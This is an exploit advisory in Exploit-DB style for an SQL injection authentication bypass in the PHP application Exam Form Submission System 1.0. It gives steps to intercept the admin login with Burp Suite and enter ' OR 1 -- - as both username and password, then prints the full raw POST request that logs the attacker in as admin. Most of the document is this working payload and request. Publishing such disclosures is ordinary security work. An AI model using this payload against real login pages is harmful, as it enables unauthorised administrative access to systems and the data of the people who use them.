# Exploit Title: Exam Form Submission System 1.0 - SQL Injection Authentication Bypass # Date: 30-09-2021 # Exploit Author: Nitin Sharma (Vidvansh) # Vendor Homepage: https://code-projects.org # Product link: https://code-projects.org/exam-form-submission-in-php-with-source-code/ # Version: 1.0 # Tested on: XAMPP / Windows 10 Steps-To-Reproduce: Step 1 Go to the Product admin panel http://localhost/EXAM_FORM_SUBMISSION/admin/index.php. Step 2 – Enter anything in username and password Step 3 – Click on Login and capture the request in the burp suite Step4 – Change the username to ' OR 1 -- - and password to ' OR 1 -- -. Step 5 – Click forward and now you will be logged in as admin. POC POST /EXAM_FORM_SUBMISSION/admin/index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 40 Origin: http://localhost Connection: close Referer: http://localhost/EXAM_FORM_SUBMISSION/admin/index.php Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 email='%20OR%201%20--%20-&pass='%20OR%201%20--%20-&Login=Login